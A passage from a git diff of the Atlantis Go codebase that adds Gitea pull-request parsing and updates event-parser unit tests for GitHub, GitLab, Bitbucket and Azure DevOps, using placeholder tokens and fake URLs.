e.AzureDevopsUser, e.AzureDevopsToken) } + +func (e *EventParser) ParseGiteaPullRequestEvent(event giteasdk.PullRequest) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { + var pullEventType models.PullRequestEventType + + // Determine the event type based on the state of the pull request and whether it's merged. + switch { + case event.State == giteasdk.StateOpen: + pullEventType = models.OpenedPullEvent + case event.HasMerged: + pullEventType = models.ClosedPullEvent + default: + pullEventType = models.OtherPullEvent + } + + // Parse the base repository. + baseRepo, err := models.NewRepo( + models.Gitea, + event.Base.Repository.FullName, + event.Base.Repository.CloneURL, + e.GiteaUser, + e.GiteaToken, + ) + if err != nil { + return models.PullRequest{}, models.OtherPullEvent, models.Repo{}, models.Repo{}, models.User{}, err + } + + // Parse the head repository. + headRepo, err := models.NewRepo( + models.Gitea, + event.Head.Repository.FullName, + event.Head.Repository.CloneURL, + e.GiteaUser, + e.GiteaToken, + ) + if err != nil { + return models.PullRequest{}, models.OtherPullEvent, models.Repo{}, models.Repo{}, models.User{}, err + } + + // Construct the pull request model. + pull := models.PullRequest{ + Num: int(event.Index), + URL: event.HTMLURL, + HeadCommit: event.Head.Sha, + HeadBranch: (*event.Head).Ref, + BaseBranch: event.Base.Ref, + Author: event.Poster.UserName, + BaseRepo: baseRepo, + } + + // Parse the user who made the pull request. + user := models.User{ + Username: event.Poster.UserName, + } + return pull, pullEventType, baseRepo, headRepo, user, nil +} + +// ParseGiteaPull parses the response from the Gitea API endpoint (not +// from a webhook) that returns a pull request. +// See EventParsing for return value docs. +func (e *EventParser) ParseGiteaPull(pull *giteasdk.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) { + commit := pull.Head.Sha + if commit == "" { + err = errors.New("head.sha is null") + return + } + url := pull.HTMLURL + if url == "" { + err = errors.New("html_url is null") + return + } + headBranch := pull.Head.Ref + if headBranch == "" { + err = errors.New("head.ref is null") + return + } + baseBranch := pull.Base.Ref + if baseBranch == "" { + err = errors.New("base.ref is null") + return + } + + authorUsername := pull.Poster.UserName + if authorUsername == "" { + err = errors.New("user.login is null") + return + } + num := pull.Index + if num == 0 { + err = errors.New("number is null") + return + } + + baseRepo, err = e.ParseGiteaRepo(*pull.Base.Repository) + if err != nil { + return + } + headRepo, err = e.ParseGiteaRepo(*pull.Head.Repository) + if err != nil { + return + } + + pullState := models.ClosedPullState + if pull.State == "open" { + pullState = models.OpenPullState + } + + pullModel = models.PullRequest{ + Author: authorUsername, + HeadBranch: headBranch, + HeadCommit: commit, + URL: url, + Num: int(num), + State: pullState, + BaseRepo: baseRepo, + BaseBranch: baseBranch, + } + return +} diff --git a/server/events/event_parser_test.go b/server/events/event_parser_test.go index 7ab2d205e2..7c2081520b 100644 --- a/server/events/event_parser_test.go +++ b/server/events/event_parser_test.go @@ -16,24 +16,27 @@ package events_test import ( "encoding/json" "fmt" - "io/ioutil" + "os" "path/filepath" "strings" "testing" - "github.com/google/go-github/v31/github" - "github.com/mcdafydd/go-azuredevops/azuredevops" + "github.com/drmaxgit/go-azuredevops/azuredevops" + "github.com/google/go-github/v71/github" "github.com/mohae/deepcopy" "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" - . "github.com/runatlantis/atlantis/server/events/vcs/fixtures" + . "github.com/runatlantis/atlantis/server/events/vcs/testdata" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" - gitlab "github.com/xanzy/go-gitlab" + gitlab "gitlab.com/gitlab-org/api/client-go" ) var parser = events.EventParser{ GithubUser: "github-user", GithubToken: "github-token", + GithubTokenFile: "", GitlabUser: "gitlab-user", GitlabToken: "gitlab-token", AllowDraftPRs: false, @@ -61,40 +64,41 @@ func TestParseGithubRepo(t *testing.T) { } func TestParseGithubIssueCommentEvent(t *testing.T) { + logger := logging.NewNoopLogger(t) comment := github.IssueCommentEvent{ Repo: &Repo, Issue: &github.Issue{ - Number: github.Int(1), - User: &github.User{Login: github.String("issue_user")}, - HTMLURL: github.String("https://github.com/runatlantis/atlantis/issues/1"), + Number: github.Ptr(1), + User: &github.User{Login: github.Ptr("issue_user")}, + HTMLURL: github.Ptr("https://github.com/runatlantis/atlantis/issues/1"), }, Comment: &github.IssueComment{ - User: &github.User{Login: github.String("comment_user")}, + User: &github.User{Login: github.Ptr("comment_user")}, }, } testComment := deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Comment = nil - _, _, _, err := parser.ParseGithubIssueCommentEvent(&testComment) + _, _, _, err := parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "comment.user.login is null", err) testComment = deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Comment.User = nil - _, _, _, err = parser.ParseGithubIssueCommentEvent(&testComment) + _, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "comment.user.login is null", err) testComment = deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Comment.User.Login = nil - _, _, _, err = parser.ParseGithubIssueCommentEvent(&testComment) + _, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "comment.user.login is null", err) testComment = deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Issue = nil - _, _, _, err = parser.ParseGithubIssueCommentEvent(&testComment) + _, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "issue.number is null", err) // this should be successful - repo, user, pullNum, err := parser.ParseGithubIssueCommentEvent(&comment) + repo, user, pullNum, err := parser.ParseGithubIssueCommentEvent(logger, &comment) Ok(t, err) Equals(t, models.Repo{ Owner: *comment.Repo.Owner.Login, @@ -114,25 +118,26 @@ func TestParseGithubIssueCommentEvent(t *testing.T) { } func TestParseGithubPullEvent(t *testing.T) { - _, _, _, _, _, err := parser.ParseGithubPullEvent(&github.PullRequestEvent{}) + logger := logging.NewNoopLogger(t) + _, _, _, _, _, err := parser.ParseGithubPullEvent(logger, &github.PullRequestEvent{}) ErrEquals(t, "pull_request is null", err) testEvent := deepcopy.Copy(PullEvent).(github.PullRequestEvent) testEvent.PullRequest.HTMLURL = nil - _, _, _, _, _, err = parser.ParseGithubPullEvent(&testEvent) + _, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) ErrEquals(t, "html_url is null", err) testEvent = deepcopy.Copy(PullEvent).(github.PullRequestEvent) testEvent.Sender = nil - _, _, _, _, _, err = parser.ParseGithubPullEvent(&testEvent) + _, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) ErrEquals(t, "sender is null", err) testEvent = deepcopy.Copy(PullEvent).(github.PullRequestEvent) testEvent.Sender.Login = nil - _, _, _, _, _, err = parser.ParseGithubPullEvent(&testEvent) + _, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) ErrEquals(t, "sender.login is null", err) - actPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGithubPullEvent(&PullEvent) + actPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGithubPullEvent(logger, &PullEvent) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner", @@ -162,22 +167,32 @@ func TestParseGithubPullEvent(t *testing.T) { } func TestParseGithubPullEventFromDraft(t *testing.T) { + logger := logging.NewNoopLogger(t) + // verify that close event treated as 'close' events by default + closeEvent := deepcopy.Copy(PullEvent).(github.PullRequestEvent) + closeEvent.Action = github.Ptr("closed") + closeEvent.PullRequest.Draft = github.Ptr(true) + + _, evType, _, _, _, err := parser.ParseGithubPullEvent(logger, &closeEvent) + Ok(t, err) + Equals(t, models.ClosedPullEvent, evType) + // verify that draft PRs are treated as 'other' events by default testEvent := deepcopy.Copy(PullEvent).(github.PullRequestEvent) - draftPR := true - testEvent.PullRequest.Draft = &draftPR - _, evType, _, _, _, err := parser.ParseGithubPullEvent(&testEvent) + testEvent.PullRequest.Draft = github.Ptr(true) + _, evType, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) Ok(t, err) Equals(t, models.OtherPullEvent, evType) // verify that drafts are planned if requested parser.AllowDraftPRs = true defer func() { parser.AllowDraftPRs = false }() - _, evType, _, _, _, err = parser.ParseGithubPullEvent(&testEvent) + _, evType, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) Ok(t, err) Equals(t, models.OpenedPullEvent, evType) } func TestParseGithubPullEvent_EventType(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { action string exp models.PullRequestEventType @@ -244,20 +259,21 @@ func TestParseGithubPullEvent_EventType(t *testing.T) { t.Run(c.action, func(t *testing.T) { // Test normal parsing event := deepcopy.Copy(PullEvent).(github.PullRequestEvent) - event.Action = &c.action - _, actType, _, _, _, err := parser.ParseGithubPullEvent(&event) + action := c.action + event.Action = &action + _, actType, _, _, _, err := parser.ParseGithubPullEvent(logger, &event) Ok(t, err) Equals(t, c.exp, actType) // Test draft parsing when draft PRs disabled draftPR := true event.PullRequest.Draft = &draftPR - _, draftEvType, _, _, _, err := parser.ParseGithubPullEvent(&event) + _, draftEvType, _, _, _, err := parser.ParseGithubPullEvent(logger, &event) Ok(t, err) Equals(t, c.draftExp, draftEvType) // Test draft parsing when draft PRs are enabled. draftParser := parser draftParser.AllowDraftPRs = true - _, draftEvType, _, _, _, err = draftParser.ParseGithubPullEvent(&event) + _, draftEvType, _, _, _, err = draftParser.ParseGithubPullEvent(logger, &event) Ok(t, err) Equals(t, c.exp, draftEvType) }) @@ -265,37 +281,38 @@ func TestParseGithubPullEvent_EventType(t *testing.T) { } func TestParseGithubPull(t *testing.T) { + logger := logging.NewNoopLogger(t) testPull := deepcopy.Copy(Pull).(github.PullRequest) testPull.Head.SHA = nil - _, _, _, err := parser.ParseGithubPull(&testPull) + _, _, _, err := parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "head.sha is null", err) testPull = deepcopy.Copy(Pull).(github.PullRequest) testPull.HTMLURL = nil - _, _, _, err = parser.ParseGithubPull(&testPull) + _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "html_url is null", err) testPull = deepcopy.Copy(Pull).(github.PullRequest) testPull.Head.Ref = nil - _, _, _, err = parser.ParseGithubPull(&testPull) + _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "head.ref is null", err) testPull = deepcopy.Copy(Pull).(github.PullRequest) testPull.Base.Ref = nil - _, _, _, err = parser.ParseGithubPull(&testPull) + _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "base.ref is null", err) testPull = deepcopy.Copy(Pull).(github.PullRequest) testPull.User.Login = nil - _, _, _, err = parser.ParseGithubPull(&testPull) + _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "user.login is null", err) testPull = deepcopy.Copy(Pull).(github.PullRequest) testPull.Number = nil - _, _, _, err = parser.ParseGithubPull(&testPull) + _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "number is null", err) - pullRes, actBaseRepo, actHeadRepo, err := parser.ParseGithubPull(&Pull) + pullRes, actBaseRepo, actHeadRepo, err := parser.ParseGithubPull(logger, &Pull) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner", @@ -325,7 +342,7 @@ func TestParseGithubPull(t *testing.T) { func TestParseGitlabMergeEvent(t *testing.T) { t.Log("should properly parse a gitlab merge event") path := filepath.Join("testdata", "gitlab-merge-request-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeEvent err = json.Unmarshal(bytes, &event) @@ -351,7 +368,7 @@ func TestParseGitlabMergeEvent(t *testing.T) { Num: 12, HeadCommit: "d2eae324ca26242abca45d7b49d582cddb2a4f15", HeadBranch: "patch-1", - BaseBranch: "master", + BaseBranch: "main", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) @@ -378,11 +395,34 @@ func TestParseGitlabMergeEvent(t *testing.T) { Equals(t, models.ClosedPullState, pull.State) } +func TestParseGitlabMergeEventFromDraft(t *testing.T) { + path := filepath.Join("testdata", "gitlab-merge-request-event.json") + bytes, err := os.ReadFile(path) + Ok(t, err) + + var event gitlab.MergeEvent + err = json.Unmarshal(bytes, &event) + Ok(t, err) + + testEvent := deepcopy.Copy(event).(gitlab.MergeEvent) + testEvent.ObjectAttributes.WorkInProgress = true + + _, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(testEvent) + Ok(t, err) + Equals(t, models.OtherPullEvent, evType) + + parser.AllowDraftPRs = true + defer func() { parser.AllowDraftPRs = false }() + _, evType, _, _, _, err = parser.ParseGitlabMergeRequestEvent(testEvent) + Ok(t, err) + Equals(t, models.OpenedPullEvent, evType) +} + // Should be able to parse a merge event from a repo that is in a subgroup, // i.e. instead of under an owner/repo it's under an owner/group/subgroup/repo. func TestParseGitlabMergeEvent_Subgroup(t *testing.T) { path := filepath.Join("testdata", "gitlab-merge-request-event-subgroup.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeEvent err = json.Unmarshal(bytes, &event) @@ -408,7 +448,7 @@ func TestParseGitlabMergeEvent_Subgroup(t *testing.T) { Num: 2, HeadCommit: "901d9770ef1a6862e2a73ec1bacc73590abb9aff", HeadBranch: "patch", - BaseBranch: "master", + BaseBranch: "main", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) @@ -429,6 +469,69 @@ func TestParseGitlabMergeEvent_Subgroup(t *testing.T) { Equals(t, models.User{Username: "lkysow"}, actUser) } +func TestParseGitlabMergeEvent_Update_ActionType(t *testing.T) { + cases := []struct { + filename string + exp models.PullRequestEventType + }{ + { + filename: "gitlab-merge-request-event-update-title.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-new-commit.json", + exp: models.UpdatedPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-labels.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-description.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-assignee.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-mixed.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-target-branch.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-reviewer.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-update-milestone.json", + exp: models.OtherPullEvent, + }, + { + filename: "gitlab-merge-request-event-mark-as-ready.json", + exp: models.UpdatedPullEvent, + }, + } + + for _, c := range cases { + t.Run(c.filename, func(t *testing.T) { + path := filepath.Join("testdata", c.filename) + bytes, err := os.ReadFile(path) + Ok(t, err) + + var event *gitlab.MergeEvent + err = json.Unmarshal(bytes, &event) + Ok(t, err) + _, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(*event) + Ok(t, err) + Equals(t, c.exp, evType) + }) + } +} + func TestParseGitlabMergeEvent_ActionType(t *testing.T) { cases := []struct { action string @@ -438,10 +541,6 @@ func TestParseGitlabMergeEvent_ActionType(t *testing.T) { action: "open", exp: models.OpenedPullEvent, }, - { - action: "update", - exp: models.UpdatedPullEvent, - }, { action: "merge", exp: models.ClosedPullEvent, @@ -457,7 +556,7 @@ func TestParseGitlabMergeEvent_ActionType(t *testing.T) { } path := filepath.Join("testdata", "gitlab-merge-request-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) mergeEventJSON := string(bytes) @@ -479,7 +578,7 @@ func TestParseGitlabMergeEvent_ActionType(t *testing.T) { func TestParseGitlabMergeRequest(t *testing.T) { t.Log("should properly parse a gitlab merge request") path := filepath.Join("testdata", "gitlab-get-merge-request.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -504,7 +603,7 @@ func TestParseGitlabMergeRequest(t *testing.T) { Num: 8, HeadCommit: "0b4ac85ea3063ad5f2974d10cd68dd1f937aaac2", HeadBranch: "abc", - BaseBranch: "master", + BaseBranch: "main", State: models.OpenPullState, BaseRepo: repo, }, pull) @@ -517,7 +616,7 @@ func TestParseGitlabMergeRequest(t *testing.T) { func TestParseGitlabMergeRequest_Subgroup(t *testing.T) { path := filepath.Join("testdata", "gitlab-get-merge-request-subgroup.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -543,7 +642,7 @@ func TestParseGitlabMergeRequest_Subgroup(t *testing.T) { Num: 2, HeadCommit: "901d9770ef1a6862e2a73ec1bacc73590abb9aff", HeadBranch: "patch", - BaseBranch: "master", + BaseBranch: "main", State: models.OpenPullState, BaseRepo: repo, }, pull) @@ -552,12 +651,12 @@ func TestParseGitlabMergeRequest_Subgroup(t *testing.T) { func TestParseGitlabMergeCommentEvent(t *testing.T) { t.Log("should properly parse a gitlab merge comment event") path := filepath.Join("testdata", "gitlab-merge-request-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeCommentEvent err = json.Unmarshal(bytes, &event) Ok(t, err) - baseRepo, headRepo, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event) + baseRepo, headRepo, commentID, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event) Ok(t, err) Equals(t, models.Repo{ FullName: "gitlabhq/gitlab-test", @@ -581,6 +680,7 @@ func TestParseGitlabMergeCommentEvent(t *testing.T) { Type: models.Gitlab, }, }, headRepo) + Equals(t, 1244, commentID) Equals(t, models.User{ Username: "root", }, user) @@ -589,12 +689,12 @@ func TestParseGitlabMergeCommentEvent(t *testing.T) { // Should properly parse a gitlab merge comment event from a subgroup repo. func TestParseGitlabMergeCommentEvent_Subgroup(t *testing.T) { path := filepath.Join("testdata", "gitlab-merge-request-comment-event-subgroup.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeCommentEvent err = json.Unmarshal(bytes, &event) Ok(t, err) - baseRepo, headRepo, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event) + baseRepo, headRepo, commentID, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event) Ok(t, err) Equals(t, models.Repo{ @@ -619,6 +719,7 @@ func TestParseGitlabMergeCommentEvent_Subgroup(t *testing.T) { Type: models.Gitlab, }, }, headRepo) + Equals(t, 96056916, commentID) Equals(t, models.User{ Username: "lkysow", }, user) @@ -650,18 +751,18 @@ func TestNewCommand_CleansDir(t *testing.T) { for _, c := range cases { t.Run(c.RepoRelDir, func(t *testing.T) { - cmd := events.NewCommentCommand(c.RepoRelDir, nil, models.PlanCommand, false, "workspace", "") + cmd := events.NewCommentCommand(c.RepoRelDir, nil, command.Plan, "", false, false, "", "workspace", "", "", false) Equals(t, c.ExpDir, cmd.RepoRelDir) }) } } func TestNewCommand_EmptyDirWorkspaceProject(t *testing.T) { - cmd := events.NewCommentCommand("", nil, models.PlanCommand, false, "", "") + cmd := events.NewCommentCommand("", nil, command.Plan, "", false, false, "", "", "", "", false) Equals(t, events.CommentCommand{ RepoRelDir: "", Flags: nil, - Name: models.PlanCommand, + Name: command.Plan, Verbose: false, Workspace: "", ProjectName: "", @@ -669,19 +770,20 @@ func TestNewCommand_EmptyDirWorkspaceProject(t *testing.T) { } func TestNewCommand_AllFieldsSet(t *testing.T) { - cmd := events.NewCommentCommand("dir", []string{"a", "b"}, models.PlanCommand, true, "workspace", "project") + cmd := events.NewCommentCommand("dir", []string{"a", "b"}, command.Plan, "", true, false, "", "workspace", "project", "policyset", false) Equals(t, events.CommentCommand{ Workspace: "workspace", RepoRelDir: "dir", Verbose: true, Flags: []string{"a", "b"}, - Name: models.PlanCommand, + Name: command.Plan, ProjectName: "project", + PolicySet: "policyset", }, *cmd) } func TestAutoplanCommand_CommandName(t *testing.T) { - Equals(t, models.PlanCommand, (events.AutoplanCommand{}).CommandName()) + Equals(t, command.Plan, (events.AutoplanCommand{}).CommandName()) } func TestAutoplanCommand_IsVerbose(t *testing.T) { @@ -693,11 +795,11 @@ func TestAutoplanCommand_IsAutoplan(t *testing.T) { } func TestCommentCommand_CommandName(t *testing.T) { - Equals(t, models.PlanCommand, (events.CommentCommand{ - Name: models.PlanCommand, + Equals(t, command.Plan, (events.CommentCommand{ + Name: command.Plan, }).CommandName()) - Equals(t, models.ApplyCommand, (events.CommentCommand{ - Name: models.ApplyCommand, + Equals(t, command.Apply, (events.CommentCommand{ + Name: command.Apply, }).CommandName()) } @@ -715,11 +817,11 @@ func TestCommentCommand_IsAutoplan(t *testing.T) { } func TestCommentCommand_String(t *testing.T) { - exp := `command="plan" verbose=true dir="mydir" workspace="myworkspace" project="myproject" flags="flag1,flag2"` + exp := `command="plan", verbose=true, dir="mydir", workspace="myworkspace", project="myproject", policyset="", auto-merge-disabled=false, auto-merge-method=, clear-policy-approval=false, flags="flag1,flag2"` Equals(t, exp, (events.CommentCommand{ RepoRelDir: "mydir", Flags: []string{"flag1", "flag2"}, - Name: models.PlanCommand, + Name: command.Plan, Verbose: true, Workspace: "myworkspace", ProjectName: "myproject", @@ -738,7 +840,7 @@ func TestParseBitbucketCloudCommentEvent_EmptyObject(t *testing.T) { func TestParseBitbucketCloudCommentEvent_CommitHashMissing(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) emptyCommitHash := strings.Replace(string(bytes), ` "hash": "e0624da46d3a",`, "", -1) _, _, _, _, _, err = parser.ParseBitbucketCloudPullCommentEvent([]byte(emptyCommitHash)) @@ -747,7 +849,7 @@ func TestParseBitbucketCloudCommentEvent_CommitHashMissing(t *testing.T) { func TestParseBitbucketCloudCommentEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) Ok(t, err) pull, baseRepo, headRepo, user, comment, err := parser.ParseBitbucketCloudPullCommentEvent(bytes) Ok(t, err) @@ -768,8 +870,8 @@ func TestParseBitbucketCloudCommentEvent_ValidEvent(t *testing.T) { HeadCommit: "e0624da46d3a", URL: "https://bitbucket.org/lkysow/atlantis-example/pull-requests/2", HeadBranch: "lkysow/maintf-edited-online-with-bitbucket-1532029690581", - BaseBranch: "master", - Author: "lkysow", + BaseBranch: "main", + Author: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", State: models.ClosedPullState, BaseRepo: expBaseRepo, }, pull) @@ -785,14 +887,14 @@ func TestParseBitbucketCloudCommentEvent_ValidEvent(t *testing.T) { }, }, headRepo) Equals(t, models.User{ - Username: "lkysow", + Username: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", }, user) Equals(t, "my comment", comment) } func TestParseBitbucketCloudCommentEvent_MultipleStates(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -831,7 +933,7 @@ func TestParseBitbucketCloudCommentEvent_MultipleStates(t *testing.T) { func TestParseBitbucketCloudPullEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-pull-event-created.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -854,8 +956,8 @@ func TestParseBitbucketCloudPullEvent_ValidEvent(t *testing.T) { HeadCommit: "1e69a602caef", URL: "https://bitbucket.org/lkysow/atlantis-example/pull-requests/16", HeadBranch: "Luke/maintf-edited-online-with-bitbucket-1560433073473", - BaseBranch: "master", - Author: "Luke", + BaseBranch: "main", + Author: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) @@ -871,7 +973,7 @@ func TestParseBitbucketCloudPullEvent_ValidEvent(t *testing.T) { }, }, headRepo) Equals(t, models.User{ - Username: "Luke", + Username: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", }, user) } @@ -894,7 +996,7 @@ func TestParseBitbucketCloudPullEvent_States(t *testing.T) { }, } { path := filepath.Join("testdata", c.JSON) - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -904,6 +1006,42 @@ func TestParseBitbucketCloudPullEvent_States(t *testing.T) { } } +func TestBitBucketNonCodeChangesAreIgnored(t *testing.T) { + // lets say a user opens a PR + act := parser.GetBitbucketCloudPullEventType("pullrequest:created", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.OpenedPullEvent, act) + // Another update with same SHA should be ignored + act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.OtherPullEvent, act) + // Only if SHA changes do we act + act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha2", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.UpdatedPullEvent, act) + + // If sha changes in separate PR, + act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "otherPRSha", "https://github.com/fakeorg/fakerepo/pull/2") + Equals(t, models.UpdatedPullEvent, act) + // We will still ignore same shas in first PR + act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha2", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.OtherPullEvent, act) +} + +func TestBitbucketShaCacheExpires(t *testing.T) { + // lets say a user opens a PR + act := parser.GetBitbucketCloudPullEventType("pullrequest:created", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.OpenedPullEvent, act) + // Another update with same SHA should be ignored + act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.OtherPullEvent, act) + // But after 300 times, the cache should expire + // this is so we don't have ever increasing memory usage + for i := 0; i < 302; i++ { + parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", fmt.Sprintf("https://github.com/fakeorg/fakerepo/pull/%d", i)) + } + // and now SHA will seen as a change again + act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") + Equals(t, models.UpdatedPullEvent, act) +} + func TestGetBitbucketCloudEventType(t *testing.T) { cases := []struct { header string @@ -932,7 +1070,9 @@ func TestGetBitbucketCloudEventType(t *testing.T) { } for _, c := range cases { t.Run(c.header, func(t *testing.T) { - act := parser.GetBitbucketCloudPullEventType(c.header) + // we pass in the header as the SHA so the SHA changes each time + // the code will ignore duplicate SHAS to avoid extra TF plans + act := parser.GetBitbucketCloudPullEventType(c.header, c.header, "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, c.exp, act) }) } @@ -950,7 +1090,7 @@ func TestParseBitbucketServerCommentEvent_EmptyObject(t *testing.T) { func TestParseBitbucketServerCommentEvent_CommitHashMissing(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -961,7 +1101,7 @@ func TestParseBitbucketServerCommentEvent_CommitHashMissing(t *testing.T) { func TestParseBitbucketServerCommentEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -984,7 +1124,7 @@ func TestParseBitbucketServerCommentEvent_ValidEvent(t *testing.T) { HeadCommit: "bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060", URL: "http://mycorp.com:7490/projects/AT/repos/atlantis-example/pull-requests/1", HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", Author: "lkysow", State: models.OpenPullState, BaseRepo: expBaseRepo, @@ -1008,7 +1148,7 @@ func TestParseBitbucketServerCommentEvent_ValidEvent(t *testing.T) { func TestParseBitbucketServerCommentEvent_MultipleStates(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-comment-event.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -1043,7 +1183,7 @@ func TestParseBitbucketServerCommentEvent_MultipleStates(t *testing.T) { func TestParseBitbucketServerPullEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-pull-event-merged.json") - bytes, err := ioutil.ReadFile(path) + bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } @@ -1066,7 +1206,7 @@ func TestParseBitbucketServerPullEvent_ValidEvent(t *testing.T) { HeadCommit: "86a574157f5a2dadaf595b9f06c70fdfdd039912", URL: "http://mycorp.com:7490/projects/AT/repos/atlantis-example/pull-requests/2", HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", Author: "lkysow", State: models.ClosedPullState, BaseRepo: expBaseRepo, @@ -1156,8 +1296,71 @@ func TestParseAzureDevopsRepo(t *testing.T) { }, }, r) + // this should be successful + repo = ADRepo + repo.WebURL = azuredevops.String("https://owner.visualstudio.com/project/_git/repo") + r, err = parser.ParseAzureDevopsRepo(&repo) + Ok(t, err) + Equals(t, models.Repo{ + Owner: "owner/project", + FullName: "owner/project/repo", + CloneURL: "https://azuredevops-user:azuredevops-token@owner.visualstudio.com/project/_git/repo", + SanitizedCloneURL: "https://azuredevops-user:@owner.visualstudio.com/project/_git/repo", + Name: "repo", + VCSHost: models.VCSHost{ + Hostname: "owner.visualstudio.com", + Type: models.AzureDevops, + }, + }, r) + + // this should be successful + repo = ADRepo + repo.WebURL = azuredevops.String("https://dev.azure.com/owner/project/_git/repo") + r, err = 